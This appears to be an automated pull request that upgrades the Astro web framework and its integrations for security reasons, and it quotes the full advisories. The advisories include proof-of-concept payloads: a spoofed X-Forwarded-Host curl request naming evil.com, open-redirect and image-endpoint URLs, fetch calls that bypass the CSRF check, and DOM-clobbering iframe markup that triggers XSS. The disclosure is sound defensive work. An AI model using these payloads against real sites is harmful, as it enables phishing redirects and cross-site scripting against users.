๐Ÿšจ [security] Update astro 1.6.11 โ†’ 5.14.4 (major)


๐Ÿšจ Your current dependencies have known security vulnerabilities ๐Ÿšจ

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

โœณ๏ธ astro (1.6.11 โ†’ 5.14.4) ยท Repo ยท Changelog

Security Advisories ๐Ÿšจ

๐Ÿšจ Astro's `X-Forwarded-Host` is reflected without validation

Summary

When running Astro in on-demand rendering mode using a adapter such as the node adapter it is possible to maliciously send an X-Forwarded-Host header that is reflected when using the recommended Astro.url property as there is no validation that the value is safe.

Details

Astro reflects the value in X-Forwarded-Host in output when using Astro.url without any validation.

It is common for web servers such as nginx to route requests via the Host header, and forward on other request headers. As such as malicious request can be sent with both a Host header and an X-Forwarded-Host header where the values do not match and the X-Forwarded-Host header is malicious. Astro will then return the malicious value.

This could result in any usages of the Astro.url value in code being manipulated by a request. For example if a user follows guidance and uses Astro.url for a canonical link the canonical link can be manipulated to another site. It is not impossible to imagine that the value could also be used as a login/registration or other form URL as well, resulting in potential redirecting of login credentials to a malicious party.

As this is a per-request attack vector the surface area would only be to the malicious user until one considers that having a caching proxy is a common setup, in which case any page which is cached could persist the malicious value for subsequent users.

Many other frameworks have an allowlist of domains to validate against, or do not have a case where the headers are reflected to avoid such issues.

PoC

  • Check out the minimal Astro example found here: https://github.com/Chisnet/minimal_dynamic_astro_server
  • nvm use
  • yarn run build
  • node ./dist/server/entry.mjs
  • curl --location 'http://localhost:4321/' --header 'X-Forwarded-Host: www.evil.com' --header 'Host: www.example.com'
  • Observe that the response reflects the malicious X-Forwarded-Host header

For the more advanced / dangerous attack vector deploy the application behind a caching proxy, e.g. Cloudflare, set a non-zero cache time, perform the above curl request a few times to establish a cache, then perform the request without the malicious headers and observe that the malicious data is persisted.

Impact

This could affect anyone using Astro in an on-demand/dynamic rendering mode behind a caching proxy.

๐Ÿšจ Astro allows unauthorized third-party images in _image endpoint

Summary

In affected versions of astro, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served.

Details

On-demand rendered sites built with Astro include an /_image endpoint which returns optimized versions of images.

The /_image endpoint is restricted to processing local images bundled with the site and also supports remote images from domains the site developer has manually authorized (using the image.domains or image.remotePatterns options).

However, a bug in impacted versions of astro allows an attacker to bypass the third-party domain restrictions by using a protocol-relative URL as the image source, e.g. /_image?href=//example.com/image.png.

Proof of Concept

  1. Create a new minimal Astro project (astro@5.13.0).

  2. Configure it to use the Node adapter (@astrojs/node@9.1.0 โ€” newer versions are not impacted):

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    import node from '@astrojs/node';
    
    export default defineConfig({
    	adapter: node({ mode: 'standalone' }),
    });
  3. Build the site by running astro build.

  4. Run the server, e.g. with astro preview.

  5. Append /_image?href=//placehold.co/600x400 to the preview URL, e.g. http://localhost:4321/_image?href=//placehold.co/600x400

  6. The site will serve the image from the unauthorized placehold.co origin.

Impact

Allows a non-authorized third-party to create URLs on an impacted siteโ€™s origin that serve unauthorized image content.
In the case of SVG images, this could include the risk of cross-site scripting (XSS) if a user followed a link to a maliciously crafted SVG.

๐Ÿšจ Astro allows unauthorized third-party images in _image endpoint

Summary

In affected versions of astro, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served.

Details

On-demand rendered sites built with Astro include an /_image endpoint which returns optimized versions of images.

The /_image endpoint is restricted to processing local images bundled with the site and also supports remote images from domains the site developer has manually authorized (using the image.domains or image.remotePatterns options).

However, a bug in impacted versions of astro allows an attacker to bypass the third-party domain restrictions by using a protocol-relative URL as the image source, e.g. /_image?href=//example.com/image.png.

Proof of Concept

  1. Create a new minimal Astro project (astro@5.13.0).

  2. Configure it to use the Node adapter (@astrojs/node@9.1.0 โ€” newer versions are not impacted):

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    import node from '@astrojs/node';
    
    export default defineConfig({
    	adapter: node({ mode: 'standalone' }),
    });
  3. Build the site by running astro build.

  4. Run the server, e.g. with astro preview.

  5. Append /_image?href=//placehold.co/600x400 to the preview URL, e.g. http://localhost:4321/_image?href=//placehold.co/600x400

  6. The site will serve the image from the unauthorized placehold.co origin.

Impact

Allows a non-authorized third-party to create URLs on an impacted siteโ€™s origin that serve unauthorized image content.
In the case of SVG images, this could include the risk of cross-site scripting (XSS) if a user followed a link to a maliciously crafted SVG.

๐Ÿšจ Astros's duplicate trailing slash feature leads to an open redirection security issue

Summary

There is an Open Redirection vulnerability in the trailing slash redirection logic when handling paths with double slashes. This allows an attacker to redirect users to arbitrary external domains by crafting URLs such as https://mydomain.com//malicious-site.com/. This increases the risk of phishing and other social engineering attacks.

This affects Astro >=5.2.0 sites that use on-demand rendering (SSR) with the Node or Cloudflare adapter. It does not affect static sites, or sites deployed to Netlify or Vercel.

Background

Astro performs automatic redirection to the canonical URL, either adding or removing trailing slashes according to the value of the trailingSlash configuration option. It follows the following rules:

  • If trailingSlash is set to "never", https://example.com/page/ will redirect to https://example.com/page
  • If trailingSlash is set to "always", https://example.com/page will redirect to https://example.com/page/

It also collapses multiple trailing slashes, according to the following rules:

  • If trailingSlash is set to "always" or "ignore" (the default), https://example.com/page// will redirect to https://example.com/page/
  • If trailingSlash is set to "never", https://example.com/page// will redirect to https://example.com/page

It does this by returning a 301 redirect to the target path. The vulnerability occurs because it uses a relative path for the redirect. To redirect from https://example.com/page to https://example.com/page/, it sending a 301 response with the header Location: /page/. The browser resolves this URL relative to the original page URL and redirects to https://example.com/page/

Details

The vulnerability occurs if the target path starts with //. A request for https://example.com//page will send the header Location: //page/. The browser interprets this as a protocol-relative URL, so instead of redirecting to https://example.com//page/, it will attempt to redirect to https://page/. This is unlikely to resolve, but by crafting a URL in the form https://example.com//target.domain/subpath, it will send the header Location: //target.domain/subpath/, which the browser translates as a redirect to https://target.domain/subpath/. The subpath part is required because otherwise Astro will interpret /target.domain as a file download, which skips trailing slash handling.

This leads to an Open Redirect vulnerability.

The URL needed to trigger the vulnerability varies according to the trailingSlash setting.

  • If trailingSlash is set to "never", a URL in the form https://example.com//target.domain/subpath/
  • If trailingSlash is set to "always", a URL in the form https://example.com//target.domain/subpath
  • For any config value, a URL in the form https://example.com//target.domain/subpath//

Impact

This is classified as an Open Redirection vulnerability (CWE-601). It affects any user who clicks on a specially crafted link pointing to the affected domain. Since the domain appears legitimate, victims may be tricked into trusting the redirected page, leading to possible credential theft, malware distribution, or other phishing-related attacks.

No authentication is required to exploit this vulnerability. Any unauthenticated user can trigger the redirect by clicking a malicious link.

Mitigation

You can test if your site is affected by visiting https://yoursite.com//docs.astro.build/en//. If you are redirected to the Astro docs then your site is affected and must be updated.

Upgrade your site to Astro 5.12.8. To mitigate at the network level, block outgoing redirect responses with a Location header value that starts with //.

๐Ÿšจ Astro's server source code is exposed to the public if sourcemaps are enabled

Summary

A bug in the build process allows any unauthenticated user to read parts of the server source code.

Details

During build, along with client assets such as css and font files, the sourcemap files for the server code are moved to a publicly-accessible folder.

await ssrMoveAssets(opts, ssrOutputAssetNames);

Any outside party can read them with an unauthorized HTTP GET request to the same server hosting the rest of the website.

While some server files are hashed, making their access obscure, the files corresponding to the file system router (those in src/pages) are predictably named. For example. the sourcemap file for src/pages/index.astro gets named dist/client/pages/index.astro.mjs.map.

PoC

Here is one example of an affected open-source website:
https://creatorsgarten.org/pages/index.astro.mjs.map

The file can be saved and opened using https://evanw.github.io/source-map-visualization/ to reconstruct the source code.

The above accurately mirrors the source code as seen in the repository: https://github.com/creatorsgarten/creatorsgarten.org/blob/main/src/pages/index.astro

The above was found as the 4th result (and the first one on Astro 5.0+) when making the following search query on GitHub.com (search results link):

path:astro.config.mjs @sentry/astro

This vulnerability is the root cause of #12703, which links to a simple stackblitz project demonstrating the vulnerability. Upon build, notice the contents of the dist/client (referred to as config.build.client in astro code) folder. All astro servers make the folder in question accessible to the public internet without any authentication. It contains .map files corresponding to the code that runs on the server.

Impact

All server-output (SSR) projects on Astro 5 versions v5.0.3 through v5.0.6 (inclusive), that have sourcemaps enabled, either directly or through an add-on such as sentry, are affected. The fix for server-output projects was released in astro@5.0.7.

Additionally, all static-output (SSG) projects built using Astro 4 versions 4.16.17 or older, or Astro 5 versions 5.0.7 or older, that have sourcemaps enabled are also affected. The fix for static-output projects was released in astro@5.0.8, and backported to Astro v4 in astro@4.16.18.

The immediate impact is limited to source code. Any secrets or environment variables are not exposed unless they are present verbatim in the source code.

There is no immediate loss of integrity within the the vulnerable server. However, it is possible to subsequently discover another vulnerability via the revealed source code .

There is no immediate impact to availability of the vulnerable server. However, the presence of an unsafe regular expression, for example, can quickly be exploited to subsequently compromise the availability.

  • Network attack vector.
  • Low attack complexity.
  • No privileges required.
  • No interaction required from an authorized user.
  • Scope is limited to first party. Although the source code of closed-source third-party software may also be exposed.

Remediation

The fix for server-output projects was released in astro@5.0.7, and the fix for static-output projects was released in astro@5.0.8 and backported to Astro v4 in astro@4.16.18. Users are advised to update immediately if they are using sourcemaps or an integration that enables sourcemaps.

๐Ÿšจ Astro's server source code is exposed to the public if sourcemaps are enabled

Summary

A bug in the build process allows any unauthenticated user to read parts of the server source code.

Details

During build, along with client assets such as css and font files, the sourcemap files for the server code are moved to a publicly-accessible folder.

await ssrMoveAssets(opts, ssrOutputAssetNames);

Any outside party can read them with an unauthorized HTTP GET request to the same server hosting the rest of the website.

While some server files are hashed, making their access obscure, the files corresponding to the file system router (those in src/pages) are predictably named. For example. the sourcemap file for src/pages/index.astro gets named dist/client/pages/index.astro.mjs.map.

PoC

Here is one example of an affected open-source website:
https://creatorsgarten.org/pages/index.astro.mjs.map

The file can be saved and opened using https://evanw.github.io/source-map-visualization/ to reconstruct the source code.

The above accurately mirrors the source code as seen in the repository: https://github.com/creatorsgarten/creatorsgarten.org/blob/main/src/pages/index.astro

The above was found as the 4th result (and the first one on Astro 5.0+) when making the following search query on GitHub.com (search results link):

path:astro.config.mjs @sentry/astro

This vulnerability is the root cause of #12703, which links to a simple stackblitz project demonstrating the vulnerability. Upon build, notice the contents of the dist/client (referred to as config.build.client in astro code) folder. All astro servers make the folder in question accessible to the public internet without any authentication. It contains .map files corresponding to the code that runs on the server.

Impact

All server-output (SSR) projects on Astro 5 versions v5.0.3 through v5.0.6 (inclusive), that have sourcemaps enabled, either directly or through an add-on such as sentry, are affected. The fix for server-output projects was released in astro@5.0.7.

Additionally, all static-output (SSG) projects built using Astro 4 versions 4.16.17 or older, or Astro 5 versions 5.0.7 or older, that have sourcemaps enabled are also affected. The fix for static-output projects was released in astro@5.0.8, and backported to Astro v4 in astro@4.16.18.

The immediate impact is limited to source code. Any secrets or environment variables are not exposed unless they are present verbatim in the source code.

There is no immediate loss of integrity within the the vulnerable server. However, it is possible to subsequently discover another vulnerability via the revealed source code .

There is no immediate impact to availability of the vulnerable server. However, the presence of an unsafe regular expression, for example, can quickly be exploited to subsequently compromise the availability.

  • Network attack vector.
  • Low attack complexity.
  • No privileges required.
  • No interaction required from an authorized user.
  • Scope is limited to first party. Although the source code of closed-source third-party software may also be exposed.

Remediation

The fix for server-output projects was released in astro@5.0.7, and the fix for static-output projects was released in astro@5.0.8 and backported to Astro v4 in astro@4.16.18. Users are advised to update immediately if they are using sourcemaps or an integration that enables sourcemaps.

๐Ÿšจ Atro CSRF Middleware Bypass (security.checkOrigin)

Summary

A bug in Astroโ€™s CSRF-protection middleware allows requests to bypass CSRF checks.

Details

When the security.checkOrigin configuration option is set to true, Astro middleware will perform a CSRF check. (Source code: https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts)

For example, with the following Astro configuration:

// astro.config.mjs
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
	output: 'server',
	security: { checkOrigin: true },
	adapter: node({ mode: 'standalone' }),
});

A request like the following would be blocked if made from a different origin:

// fetch API or <form action="https://test.example.com/" method="POST">
fetch('https://test.example.com/', {
	method: 'POST',
	credentials: 'include',
	body: 'a=b',
	headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
});
// => Cross-site POST form submissions are forbidden

However, a vulnerability exists that can bypass this security.

Pattern 1: Requests with a semicolon after the Content-Type

A semicolon-delimited parameter is allowed after the type in Content-Type.

Web browsers will treat a Content-Type such as application/x-www-form-urlencoded; abc as a simple request and will not perform preflight validation. In this case, CSRF is not blocked as expected.

fetch('https://test.example.com', {
	method: 'POST',
	credentials: 'include',
	body: 'test',
	headers: { 'Content-Type': 'application/x-www-form-urlencoded; abc' },
});
// => Server-side functions are executed (Response Code 200).

Pattern 2: Request without Content-Type header

The Content-Type header is not required for a request. The following examples are sent without a Content-Type header, resulting in CSRF.

// Pattern 2.1 Request without body
fetch('http://test.example.com', { method: 'POST', credentials: 'include' });

// Pattern 2.2 Blob object without type
fetch('https://test.example.com', {
	method: 'POST',
	credentials: 'include',
	body: new Blob(['a=b'], {}),
});

Impact

Bypass CSRF protection implemented with CSRF middleware.

Note

Even with credentials: 'include', browsers may not send cookies due to third-party cookie blocking. This feature depends on the browser version and settings, and is for privacy protection, not as a CSRF measure.

๐Ÿšจ DOM Clobbering Gadget found in astro's client-side router that leads to XSS

Summary

A DOM Clobbering gadget has been discoverd in Astro's client-side router. It can lead to cross-site scripting (XSS) in websites enables Astro's client-side routing and has stored attacker-controlled scriptless HTML elements (i.e., iframe tags with unsanitized name attributes) on the destination pages.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Astro

We identified a DOM Clobbering gadget in Astro's client-side routing module, specifically in the <ViewTransitions /> component. When integrated, this component introduces the following vulnerable code, which is executed during page transitions (e.g., clicking an <a> link):

function runScripts() {
let wait = Promise.resolve();
for (const script of Array.from(document.scripts)) {
if (script.dataset.astroExec === '') continue;
const type = script.getAttribute('type');
if (type && type !== 'module' && type !== 'text/javascript') continue;
const newScript = document.createElement('script');
newScript.innerHTML = script.innerHTML;
for (const attr of script.attributes) {
if (attr.name === 'src') {
const p = new Promise((r) => {
newScript.onload = newScript.onerror = r;
});
wait = wait.then(() => p as any);
}
newScript.setAttribute(attr.name, attr.value);
}
newScript.dataset.astroExec = '';
script.replaceWith(newScript);
}
return wait;
}

However, this implementation is vulnerable to a DOM Clobbering attack. The document.scripts lookup can be shadowed by an attacker injected non-script HTML elements (e.g., <img name="scripts"><img name="scripts">) via the browser's named DOM access mechanism. This manipulation allows an attacker to replace the intended script elements with an array of attacker-controlled scriptless HTML elements.

The condition script.dataset.astroExec === '' on line 138 can be bypassed because the attacker-controlled element does not have a data-astroExec attribute. Similarly, the check on line 134 can be bypassed as the element does not require a type attribute.

Finally, the innerHTML of an attacker-injected non-script HTML elements, which is plain text content before, will be set to the .innerHTML of an script element that leads to XSS.

PoC

Consider a web application using Astro as the framework with client-side routing enabled and allowing users to embed certain scriptless HTML elements (e.g., form or iframe). This can be done through a bunch of website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

For PoC website, please refer to: https://stackblitz.com/edit/github-4xgj2d. Clicking the "about" button in the menu will trigger an alert(1) from an attacker-injected form element.

---
import Header from "../components/Header.astro";
import Footer from "../components/Footer.astro";
import { ViewTransitions } from "astro:transitions";
import "../styles/global.css";
const { pageTitle } = Astro.props;
---
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <link rel="icon" type="image/svg+xml" href="/favicon.svg" />
    <meta name="viewport" content="width=device-width" />
    <meta name="generator" content={Astro.generator} />
    <title>{pageTitle}</title>
    <ViewTransitions />
  </head>
  <body>
    <!--USER INPUT-->
    <iframe name="scripts">alert(1)</iframe>
    <iframe name="scripts">alert(1)</iframe>
    <!--USER INPUT-->
    
    <Header />
    <h1>{pageTitle}</h1>
    <slot />
    <Footer />
    <script>
      import "../scripts/menu.js";
    </script>
  </body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that built with Astro that enable the client-side routing with ViewTransitions and store the user-inserted scriptless HTML tags without properly sanitizing the name attributes on the page.

Patch

We recommend replacing document.scripts with document.getElementsByTagName('script') for referring to script elements. This will mitigate the possibility of DOM Clobbering attacks leveraging the name attribute.

Reference

Similar issues for reference:

Release Notes

Too many releases to show here. View the full release notes.

โœณ๏ธ @โ€‹astrojs/node (3.1.0 โ†’ 9.4.6) ยท Repo

Security Advisories ๐Ÿšจ

๐Ÿšจ Astro allows unauthorized third-party images in _image endpoint

Summary

In affected versions of astro, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served.

Details

On-demand rendered sites built with Astro include an /_image endpoint which returns optimized versions of images.

The /_image endpoint is restricted to processing local images bundled with the site and also supports remote images from domains the site developer has manually authorized (using the image.domains or image.remotePatterns options).

However, a bug in impacted versions of astro allows an attacker to bypass the third-party domain restrictions by using a protocol-relative URL as the image source, e.g. /_image?href=//example.com/image.png.

Proof of Concept

  1. Create a new minimal Astro project (astro@5.13.0).

  2. Configure it to use the Node adapter (@astrojs/node@9.1.0 โ€” newer versions are not impacted):

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    import node from '@astrojs/node';
    
    export default defineConfig({
    	adapter: node({ mode: 'standalone' }),
    });
  3. Build the site by running astro build.

  4. Run the server, e.g. with astro preview.

  5. Append /_image?href=//placehold.co/600x400 to the preview URL, e.g. http://localhost:4321/_image?href=//placehold.co/600x400

  6. The site will serve the image from the unauthorized placehold.co origin.

Impact

Allows a non-authorized third-party to create URLs on an impacted siteโ€™s origin that serve unauthorized image content.
In the case of SVG images, this could include the risk of cross-site scripting (XSS) if a user followed a link to a maliciously crafted SVG.

๐Ÿšจ @astrojs/node's trailing slash handling causes open redirect issue

Summary

Following GHSA-cq8c-xv66-36gw, there's still an Open Redirect vulnerability in a subset of Astro deployment scenarios.

Details

Astro 5.12.8 fixed a case where https://example.com//astro.build/press would redirect to the external origin //astro.build/press. However, with the Node deployment adapter in standalone mode and trailingSlash set to "always" in the Astro configuration, https://example.com//astro.build/press still redirects to //astro.build/press.

Proof of Concept

  1. Create a new minimal Astro project (astro@5.12.8)
  2. Configure it to use the Node adapter (@astrojs/node@9.4.0) and force trailing slashes:
    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    import node from '@astrojs/node';
    
    export default defineConfig({
      trailingSlash: 'always',
      adapter: node({ mode: 'standalone' }),
    });
  3. Build the site by running astro build.
  4. Run the server, e.g. with astro preview.
  5. Append //astro.build/press to the preview URL, e.g. http://localhost:4321//astro.build/press
  6. The site will redirect to the external Astro Build origin.

Example reproduction

  1. Open this StackBlitz reproduction.
  2. Open the preview in a separate window so the StackBlitz embed doesn't cause security errors.
  3. Append //astro.build/press to the preview URL, e.g. https://x.local-corp.webcontainer.io//astro.build/press.
  4. See it redirect to the external Astro Build origin.

Impact

This is classified as an Open Redirection vulnerability (CWE-601). It affects any user who clicks on a specially crafted link pointing to the affected domain. Since the domain appears legitimate, victims may be tricked into trusting the redirected page, leading to possible credential theft, malware distribution, or other phishing-related attacks.

No authentication is required to exploit this vulnerability. Any unauthenticated user can trigger the redirect by clicking a malicious link.

Sorry, we couldnโ€™t find anything useful about this release.

โœณ๏ธ @โ€‹astrojs/react (1.2.2 โ†’ 4.4.0) ยท Repo

Sorry, we couldnโ€™t find anything useful about this release.

โœณ๏ธ @โ€‹astrojs/tailwind (2.1.3 โ†’ 6.0.2) ยท Repo

Sorry, we couldnโ€™t find anything useful about this release.

โœณ๏ธ prettier-plugin-astro (0.7.0 โ†’ 0.14.1) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 56 commits:

โ†—๏ธ @โ€‹astrojs/compiler (indirect, 0.29.17 โ†’ 2.13.0) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

โ†—๏ธ @โ€‹astrojs/markdown-remark (indirect, 1.1.3 โ†’ 6.3.8) ยท Repo

Sorry, we couldnโ€™t find anything useful about this release.

โ†—๏ธ @โ€‹astrojs/prism (indirect, 1.0.2 โ†’ 3.3.0) ยท Repo

Sorry, we couldnโ€™t find anything useful about this release.

โ†—๏ธ @โ€‹astrojs/telemetry (indirect, 1.0.1 โ†’ 3.3.0) ยท Repo ยท Changelog

Release Notes

3.3.0 (from changelog)

Minor Changes

  • #13809 3c3b492 Thanks @ascorbic! - Increases minimum Node.js version to 18.20.8

    Node.js 18 has now reached end-of-life and should not be used. For now, Astro will continue to support Node.js 18.20.8, which is the final LTS release of Node.js 18, as well as Node.js 20 and Node.js 22 or later. We will drop support for Node.js 18 in a future release, so we recommend upgrading to Node.js 22 as soon as possible. See Astro's Node.js support policy for more details.

    โš ๏ธ Important note for users of Cloudflare Pages: The current build image for Cloudflare Pages uses Node.js 18.17.1 by default, which is no longer supported by Astro. If you are using Cloudflare Pages you should override the default Node.js version to Node.js 22. This does not affect users of Cloudflare Workers, which uses Node.js 22 by default.

3.2.1 (from changelog)

Patch Changes

3.2.0 (from changelog)

Minor Changes

3.1.0 (from changelog)

Minor Changes

3.0.4 (from changelog)

Patch Changes

  • #8900 341ef6578 Thanks @FredKSchott! - Track if the Astro CLI is running in a TTY context.

    This information helps us better understand scripted use of Astro vs. direct terminal use of Astro CLI by a user, especially the astro dev command.

3.0.3 (from changelog)

Patch Changes

3.0.2 (from changelog)

Patch Changes

3.0.1 (from changelog)

Patch Changes

3.0.0 (from changelog)

Major Changes

  • #8188 d0679a666 Thanks @ematipico! - Remove support for Node 16. The lowest supported version by Astro and all integrations is now v18.14.1. As a reminder, Node 16 will be deprecated on the 11th September 2023.

  • #8179 6011d52d3 Thanks @matthewp! - Astro 3.0 Release Candidate

Patch Changes

2.1.1 (from changelog)

Patch Changes

2.1.0 (from changelog)

Minor Changes

2.0.1 (from changelog)

Patch Changes

Does any of this look wrong? Please let us know.

โ†—๏ธ @โ€‹babel/compat-data (indirect, 7.20.1 โ†’ 7.28.4) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 14 commits:

โ†—๏ธ @โ€‹babel/core (indirect, 7.20.2 โ†’ 7.28.4) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 14 commits:

โ†—๏ธ @โ€‹babel/helper-compilation-targets (indirect, 7.20.0 โ†’ 7.27.2) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 10 commits:

โ†—๏ธ @โ€‹babel/helper-module-imports (indirect, 7.18.6 โ†’ 7.27.1) ยท Repo ยท Changelog

Release Notes

7.27.1

v7.27.1 (2025-04-30)

Thanks @kermanx and @woaitsAryan for your first PRs!

๐Ÿ‘“ Spec Compliance

  • babel-parser
  • babel-parser, babel-types

๐Ÿ› Bug Fix

  • babel-plugin-proposal-destructuring-private, babel-plugin-proposal-do-expressions, babel-traverse
  • babel-helper-wrap-function, babel-plugin-transform-async-to-generator
    • #17251 Fix: propagate argument evaluation errors through async promise chain (@magic-akari)
  • babel-helper-remap-async-to-generator, babel-plugin-transform-async-to-generator
  • babel-helper-fixtures, babel-parser
    • #17233 Create ChainExpression within TSInstantiationExpression (@JLHwung)
  • babel-generator, babel-parser
    • #17226 Fill optional AST properties when both estree and typescript parser plugin are enabled (Part 2) (@JLHwung)
  • babel-parser
    • #17224 Fill optional AST properties when both estree and typescript parser plugin are enabled (Part 1) (@JLHwung)
    • #17080 Fix start of TSParameterProperty (@JLHwung)
  • babel-compat-data, babel-preset-env
  • babel-traverse
    • #17156 fix: Objects and arrays with multiple references should not be evaluated (@liuxingbaoyu)
  • babel-generator

๐Ÿ’… Polish

  • babel-plugin-bugfix-v8-spread-parameters-in-optional-chaining, babel-plugin-proposal-decorators, babel-plugin-transform-arrow-functions, babel-plugin-transform-class-properties, babel-plugin-transform-destructuring, babel-plugin-transform-object-rest-spread, babel-plugin-transform-optional-chaining, babel-plugin-transform-parameters, babel-traverse

๐Ÿ  Internal

  • babel-runtime-corejs2, babel-runtime-corejs3, babel-runtime
  • babel-compat-data, babel-preset-env
  • babel-compat-data, babel-standalone
  • babel-register
  • babel-helpers, babel-plugin-transform-async-generator-functions, babel-plugin-transform-regenerator, babel-preset-env, babel-runtime-corejs3
  • All packages

๐Ÿ”ฌ Output optimization

  • babel-helpers, babel-plugin-transform-modules-commonjs, babel-runtime-corejs3
  • babel-helpers, babel-plugin-transform-async-generator-functions, babel-plugin-transform-regenerator, babel-preset-env, babel-runtime-corejs3

Committers: 9

7.25.9

v7.25.9 (2024-10-22)

Thanks @victorenator for your first PR!

๐Ÿ› Bug Fix

  • babel-parser, babel-template, babel-types
  • babel-helper-compilation-targets, babel-preset-env
  • Other

๐Ÿ  Internal

  • babel-helper-transform-fixture-test-runner
  • Every package

๐Ÿƒโ€โ™€๏ธ Performance

  • babel-parser, babel-types

Committers: 4

7.25.7

v7.25.7 (2024-10-02)

Thanks @DylanPiercey and @YuHyeonWook for your first PRs!

๐Ÿ› Bug Fix

๐Ÿ’… Polish

๐Ÿ  Internal

  • babel-core
  • babel-helper-compilation-targets, babel-helper-plugin-utils, babel-preset-env
  • babel-plugin-proposal-destructuring-private, babel-plugin-syntax-decimal, babel-plugin-syntax-import-reflection, babel-standalone
  • babel-generator

๐Ÿƒโ€โ™€๏ธ Performance

Committers: 8

7.24.7

v7.24.7 (2024-06-05)

๐Ÿ› Bug Fix

  • babel-node
  • babel-traverse
  • babel-helper-transform-fixture-test-runner, babel-plugin-proposal-explicit-resource-management

๐Ÿ  Internal

  • babel-helpers, babel-runtime-corejs2, babel-runtime-corejs3, babel-runtime

Committers: 7

7.24.6

v7.24.6 (2024-05-24)

Thanks @amjed-98, @blakewilson, @coelhucas, and @SukkaW for your first PRs!

๐Ÿ› Bug Fix

  • babel-helper-create-class-features-plugin, babel-plugin-transform-class-properties
  • babel-core, babel-generator, babel-plugin-transform-modules-commonjs
  • babel-helper-create-class-features-plugin, babel-plugin-proposal-decorators
  • babel-helpers, babel-plugin-proposal-decorators, babel-runtime-corejs3
    • #16483 Fix: throw TypeError if addInitializer is called after finished (@JLHwung)
  • babel-parser, babel-plugin-transform-typescript

๐Ÿ  Internal

  • babel-core, babel-helpers, babel-plugin-transform-runtime, babel-preset-env, babel-runtime-corejs2, babel-runtime-corejs3, babel-runtime
  • babel-helpers
  • babel-cli, babel-helpers, babel-plugin-external-helpers, babel-plugin-proposal-decorators, babel-plugin-transform-class-properties, babel-plugin-transform-modules-commonjs, babel-plugin-transform-modules-systemjs, babel-plugin-transform-runtime, babel-preset-env, babel-runtime-corejs2, babel-runtime-corejs3, babel-runtime
  • babel-parser, babel-traverse
  • Other

Committers: 9

7.24.3

v7.24.3 (2024-03-20)

๐Ÿ› Bug Fix

  • babel-helper-module-imports
    • #16370 fix: do not inject the same imported identifier multiple times (@ota-meshi)

Committers: 2

7.24.1

v7.24.1 (2024-03-19)

๐Ÿ› Bug Fix

  • babel-helper-create-class-features-plugin, babel-plugin-proposal-decorators
  • babel-plugin-proposal-decorators, babel-plugin-proposal-json-modules, babel-plugin-transform-async-generator-functions, babel-plugin-transform-regenerator, babel-plugin-transform-runtime, babel-preset-env
  • babel-helper-create-class-features-plugin, babel-plugin-proposal-decorators, babel-plugin-proposal-pipeline-operator, babel-plugin-transform-class-properties
  • babel-helper-create-class-features-plugin, babel-helper-replace-supers, babel-plugin-proposal-decorators, babel-plugin-transform-class-properties

๐Ÿ“ Documentation

๐Ÿ  Internal

  • babel-code-frame, babel-highlight
  • babel-helper-fixtures, babel-helpers, babel-plugin-bugfix-safari-id-destructuring-collision-in-function-expression, babel-plugin-proposal-pipeline-operator, babel-plugin-transform-unicode-sets-regex, babel-preset-env, babel-preset-flow
  • babel-helper-module-imports, babel-plugin-proposal-import-wasm-source, babel-plugin-proposal-json-modules, babel-plugin-proposal-record-and-tuple, babel-plugin-transform-react-jsx-development, babel-plugin-transform-react-jsx
  • Other

๐Ÿ”ฌ Output optimization

  • babel-helper-replace-supers, babel-plugin-transform-class-properties, babel-plugin-transform-classes, babel-plugin-transform-parameters, babel-plugin-transform-runtime
  • babel-plugin-transform-class-properties, babel-plugin-transform-classes
  • babel-plugin-proposal-decorators, babel-plugin-transform-class-properties, babel-plugin-transform-object-rest-spread, babel-traverse
  • babel-core, babel-plugin-external-helpers, babel-plugin-proposal-decorators, babel-plugin-proposal-function-bind, babel-plugin-transform-class-properties, babel-plugin-transform-classes, babel-plugin-transform-flow-comments, babel-plugin-transform-flow-strip-types, babel-plugin-transform-function-name, babel-plugin-transform-modules-systemjs, babel-plugin-transform-parameters, babel-plugin-transform-private-property-in-object, babel-plugin-transform-react-jsx, babel-plugin-transform-runtime, babel-plugin-transform-spread, babel-plugin-transform-typescript, babel-preset-env

Committers: 4

7.22.15

v7.22.15 (2023-09-04)

๐Ÿ› Bug Fix

๐Ÿ  Internal

Committers: 4

7.22.5

v7.22.5 (2023-06-08)

๐Ÿ› Bug Fix

  • babel-preset-env, babel-standalone

๐Ÿ’… Polish

Committers: 4

7.21.4

v7.21.4 (2023-03-31)

๐Ÿ› Bug Fix

  • babel-core, babel-helper-module-imports, babel-preset-typescript
  • babel-generator
    • #15496 Fix compact printing of non-null assertion operators (@rtsao)

๐Ÿ’… Polish

